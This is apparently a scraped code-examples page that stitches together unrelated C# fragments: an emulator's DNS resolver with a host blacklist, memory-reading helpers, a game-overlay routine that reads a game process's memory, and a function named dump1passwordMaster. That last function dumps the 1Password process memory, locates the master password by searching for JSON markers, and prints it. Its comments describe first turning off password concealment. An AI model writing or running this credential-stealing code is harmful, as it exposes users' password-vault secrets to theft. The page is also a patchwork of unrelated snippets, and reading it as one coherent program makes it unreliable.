                string targetHost = host;

                if (DnsBlacklist.IsHostBlocked(host))
                {
                    Logger.Info?.Print(LogClass.ServiceSfdnsres, $"DNS Blocked: {host}");

                    netDbErrorCode = NetDbError.HostNotFound;
                    errno          = GaiError.NoData;
                }
                else
                {
                    Logger.Info?.Print(LogClass.ServiceSfdnsres, $"Trying to resolve: {host}");

                    try
                    {
                        hostEntry = Dns.GetHostEntry(targetHost);
                    }
                    catch (SocketException exception)
                    {
                        netDbErrorCode = ConvertSocketErrorCodeToNetDbError(exception.ErrorCode);
                        errno          = ConvertSocketErrorCodeToGaiError(exception.ErrorCode, errno);
                    }
                }
            }
            else
            {
                netDbErrorCode = NetDbError.HostNotFound;
            }

            if (hostEntry != null)
            {
                IEnumerable <IPAddress> addresses = GetIpv4Addresses(hostEntry);

                if (!addresses.Any())
                {
                    errno          = GaiError.NoData;
                    netDbErrorCode = NetDbError.NoAddress;
                }
                else
                {
                    errno          = GaiError.Success;
                    serializedSize = SerializeHostEntries(context, outputBufferPosition, outputBufferSize, hostEntry, addresses);
                }
            }

            WriteResponse(context, withOptions, serializedSize, errno, netDbErrorCode);

            return(ResultCode.Success);
        }
Пример #31
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="offset"></param>
 /// <returns></returns>
 public uint ReadUInt(long address, long offset)
 {
     return(MemoryHelper.ReadUInt32((void *)new IntPtr(address), offset));
 }
Пример #32
0
        private static ResultCode GetAddrInfoRequestImpl(
            ServiceCtx context,
            ulong responseBufferPosition,
            ulong responseBufferSize,
            bool withOptions,
            ulong optionsBufferPosition,
            ulong optionsBufferSize)
        {
            bool enableNsdResolve = (context.RequestData.ReadInt32() & 1) != 0;
            uint cancelHandle     = context.RequestData.ReadUInt32();

            string host    = MemoryHelper.ReadAsciiString(context.Memory, context.Request.SendBuff[0].Position, (long)context.Request.SendBuff[0].Size);
            string service = MemoryHelper.ReadAsciiString(context.Memory, context.Request.SendBuff[1].Position, (long)context.Request.SendBuff[1].Size);

            if (!context.Device.Configuration.EnableInternetAccess)
            {
                Logger.Info?.Print(LogClass.ServiceSfdnsres, $"Guest network access disabled, DNS Blocked: {host}");

                WriteResponse(context, withOptions, 0, GaiError.NoData, NetDbError.HostNotFound);

                return(ResultCode.Success);
            }

            // NOTE: We ignore hints for now.
            DeserializeAddrInfos(context.Memory, (ulong)context.Request.SendBuff[2].Position, (ulong)context.Request.SendBuff[2].Size);

            if (withOptions)
            {
                // TODO: Find unknown, Parse and use options.
                uint unknown = context.RequestData.ReadUInt32();
            }

            ulong pidPlaceHolder = context.RequestData.ReadUInt64();

            IPHostEntry hostEntry = null;

            NetDbError netDbErrorCode = NetDbError.Success;
            GaiError   errno          = GaiError.AddressFamily;
            ulong      serializedSize = 0;

            if (host.Length <= byte.MaxValue)
            {
                if (enableNsdResolve)
                {
                    if (FqdnResolver.Resolve(host, out string newAddress) == Nsd.ResultCode.Success)
                    {
                        host = newAddress;
                    }
                }

                string targetHost = host;

                if (DnsBlacklist.IsHostBlocked(host))
                {
                    Logger.Info?.Print(LogClass.ServiceSfdnsres, $"DNS Blocked: {host}");

                    netDbErrorCode = NetDbError.HostNotFound;
                    errno          = GaiError.NoData;
                }
                else
                {
                    Logger.Info?.Print(LogClass.ServiceSfdnsres, $"Trying to resolve: {host}");

                    try
                    {
                        hostEntry = Dns.GetHostEntry(targetHost);
                    }
                    catch (SocketException exception)
                    {
                        netDbErrorCode = ConvertSocketErrorCodeToNetDbError(exception.ErrorCode);
                        errno          = ConvertSocketErrorCodeToGaiError(exception.ErrorCode, errno);
                    }
                }
            }
            else
            {
                netDbErrorCode = NetDbError.NoAddress;
            }

            if (hostEntry != null)
            {
                int.TryParse(service, out int port);

                errno          = GaiError.Success;
                serializedSize = SerializeAddrInfos(context, responseBufferPosition, responseBufferSize, hostEntry, port);
            }

            WriteResponse(context, withOptions, serializedSize, errno, netDbErrorCode);

            return(ResultCode.Success);
        }
Пример #33
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="offset"></param>
 /// <returns></returns>
 public float ReadFloat(long address, long offset)
 {
     return(MemoryHelper.ReadFloat((void *)new IntPtr(address), offset));
 }
Пример #34
0
        private static Monster UpdateAndGetMonster(Process process, ulong monsterAddress)
        {
            Monster monster = null;

            ulong tmp = monsterAddress + DataOffsets.Monster.MonsterStartOfStructOffset + DataOffsets.Monster.MonsterHealthComponentOffset;
            ulong health_component = MemoryHelper.Read <ulong>(process, tmp);

            string id        = MemoryHelper.ReadString(process, tmp + DataOffsets.MonsterModel.IdOffset, (uint)DataOffsets.MonsterModel.IdLength);
            float  maxHealth = MemoryHelper.Read <float>(process, health_component + DataOffsets.MonsterHealthComponent.MaxHealth);

            if (String.IsNullOrEmpty(id))
            {
                return(monster);
            }

            id = id.Split('\\').Last();
            if (!Monster.IsIncluded(id))
            {
                return(monster);
            }

            if (maxHealth <= 0)
            {
                return(monster);
            }

            float currentHealth = MemoryHelper.Read <float>(process, health_component + DataOffsets.MonsterHealthComponent.CurrentHealth);
            float sizeScale     = MemoryHelper.Read <float>(process, monsterAddress + DataOffsets.Monster.MonsterStartOfStructOffset + DataOffsets.Monster.SizeScale);

            monster = OverlayViewModel.Instance.MonsterWidget.Context.UpdateAndGetMonster(monsterAddress, id, maxHealth, currentHealth, sizeScale);


            if (SmartHunter.Game.Helpers.ConfigHelper.MonsterData.Values.Monsters.ContainsKey(id) && SmartHunter.Game.Helpers.ConfigHelper.MonsterData.Values.Monsters[id].Parts.Count() > 0)
            {
                /*
                 * If you reading this then problably you can try to help me.
                 * This is a first step into monster status effects reading, so far i know:
                 * 1)Status effects are structs with length of 0x240
                 * 2)Status duration is at offset 0x1B4
                 * 3)Max duration ?
                 * 4)Each struct is double linked -> 0x8 -> base pointer; 0x10 ->previous pointer; 0x18 is next pointer;
                 *
                 * var t = MemoryHelper.Read<ulong>(process, monsterAddress + DataOffsets.Monster.MonsterStartOfStructOffset + 0x78);
                 * var t1 = MemoryHelper.Read<ulong>(process, t + 0x57A8);
                 *
                 * t1 = MemoryHelper.ReadMultiLevelPointer(false, process, t1 + 0x18, 0x18, 0x0); //With this i can get the base pointer for the status double linked list, my main problem is to identify to which monster this is attached to as every monster points to the same address (for now)
                 *
                 * //Ignore from this line as this was only for testing
                 *
                 * int i = 0;
                 *
                 * ulong t2 = t1 + 0x40;
                 * while (t2 != 0)
                 * {
                 *  if (t2 == 0x1afaa15d0)
                 *  {
                 *      break;
                 *  }
                 *  t2 = MemoryHelper.Read<ulong>(process, t2 + DataOffsets.Monster.NextMonsterOffset);
                 *  i++;
                 * }
                 */

                UpdateMonsterParts(process, monster);
                UpdateMonsterRemovableParts(process, monster);
                UpdateMonsterStatusEffects(process, monster);
            }

            return(monster);
        }
Пример #35
0
 /// <summary>
 ///
 /// </summary>
 /// <param name="offset"></param>
 /// <returns></returns>
 public long ReadLong(long address, long offset)
 {
     return(MemoryHelper.ReadInt64((void *)new IntPtr(address), offset));
 }
Пример #36
0
        //Enable Cleartext Passwords and then read memory.

        /**
         *   "security": {
         * "concealPasswords": false
         * },
         **/

        //Step 1. Add that line to the 1Password
        //Step 2. Dump Memory(?)
        //Step 3. Passwords


        public static void dump1passwordMaster()
        {
            //Process[] procs = Process.GetProcessesByName("Bitwarden.exe");
            Process[] procs = Process.GetProcessesByName("1Password");
            Console.WriteLine("[DEBUG] Number of Processes Found: {0}", procs.Length);
            foreach (var proc in procs)
            {
                DebugFunctions.writeDebug(String.Format("Enumerating Process: {0} - {1}", proc.Id, proc.ProcessName), Globals.DebugMode);
                #region oldcode

                /**
                 *              //IntPtr hProc = proc.Handle;
                 *              IntPtr hProc = WinAPI.OpenProcess(WinAPI.ProcessAccessFlags.QueryInformation | WinAPI.ProcessAccessFlags.VirtualMemoryRead, false, proc.Id);
                 *              WinAPI.MEMORY_BASIC_INFORMATION64 mbi = new WinAPI.MEMORY_BASIC_INFORMATION64();
                 *              //32 bit
                 *              //WinAPI.MEMORY_BASIC_INFORMATION mbi = new WinAPI.MEMORY_BASIC_INFORMATION()
                 *              WinAPI.SYSTEM_INFO si = new WinAPI.SYSTEM_INFO();
                 *              if (hProc == IntPtr.Zero)
                 *              {
                 *                      //Failed.
                 *                      Console.WriteLine("Unable to create a connection to the process! Error Code: {0}", WinAPI.GetLastError());
                 *                      Environment.Exit(6);
                 *              }
                 *
                 *              WinAPI.GetSystemInfo(out si);
                 *              IntPtr hProc_min_addr = si.minimumApplicationAddress;
                 *              IntPtr hProc_max_addr = si.maximumApplicationAddress;
                 *              long hProc_long_min = (long)hProc_min_addr;
                 *              long hProc_long_max = (long)hProc_max_addr;
                 *              string fileName = "dump-" + proc.Id + "-" + proc.ProcessName + "-2.txt";
                 *              StreamWriter sw = new StreamWriter(fileName);
                 *
                 *              int bytesRead = 0;
                 *
                 *              while (hProc_long_min < hProc_long_max)
                 *              {
                 *                      bytesRead = WinAPI.VirtualQueryEx(hProc, hProc_min_addr, out mbi, (uint)Marshal.SizeOf(typeof(WinAPI.MEMORY_BASIC_INFORMATION64)));
                 *                      if (mbi.Protect == WinAPI.PAGE_READWRITE && mbi.State == WinAPI.MEM_COMMIT)
                 *                      {
                 *                              byte[] buffer = new byte[mbi.RegionSize];
                 *                              WinAPI.ReadProcessMemory(hProc, mbi.BaseAddress, buffer, mbi.RegionSize, ref bytesRead);
                 *                              for (long i = 0; i < mbi.RegionSize; i++)
                 *                              {
                 *                                      sw.Write((char)buffer[i]);
                 *                              }
                 *                      }
                 *                      hProc_long_min += mbi.RegionSize;
                 *                      hProc_min_addr = new IntPtr(hProc_long_min);
                 *              }
                 *              sw.Close();
                 *
                 **/
                #endregion
                //Slightly Dirty, but keeping the <LF> conversion to help rule out False Positives in output. Will need to re-visit this most likely.
                //string strResult = File.ReadAllText(fileName).Replace("\n", "<LF>").Replace("\0", String.Empty);
                string strResult = MemoryHelper.dumpProcessMemory(proc).Replace("\n", "<LF>").Replace("\0", String.Empty);
                if (strResult.Contains("{\"name\":\"master-password\",\"value\":\""))
                {
                    DebugFunctions.writeDebug("Found JSON Indicator, attempting to pull password", Globals.DebugMode);
                    int start, end;
                    start = strResult.IndexOf("{\"name\":\"master-password\",\"value\":\"", 0) + 35;
                    end   = strResult.IndexOf(",\"type\":\"P\",\"designation\":\"password\"},{\"name\":\"account-key\"", 0) - 1;
                    Console.WriteLine("[+] Potential 1Password Password Location found: {0}", strResult.Substring(start, end - start));
                    return;
                }
                else if (strResult.Contains("on 1password.com.<LF>"))
                {
                    DebugFunctions.writeDebug("First pass through didn't find anything, testing backup", Globals.DebugMode);
                    int    start, end;
                    string strStartSearch = "on 1password.com.<LF>";
                    start = strResult.IndexOf(strStartSearch, 0) + 20;
                    end   = strResult.IndexOf("<LF>secret key<LF>");
                    Console.WriteLine("[+] Potential 1Password Password Location found: {0}", strResult.Substring(start, end - start));
                    return;
                }
                else
                {
                    Console.WriteLine("[-] Unable to locate Master Password :(");
                    Console.ReadKey();
                }
                Console.WriteLine("Fin. Press any key to exit");
                Console.ReadKey();
            }
        }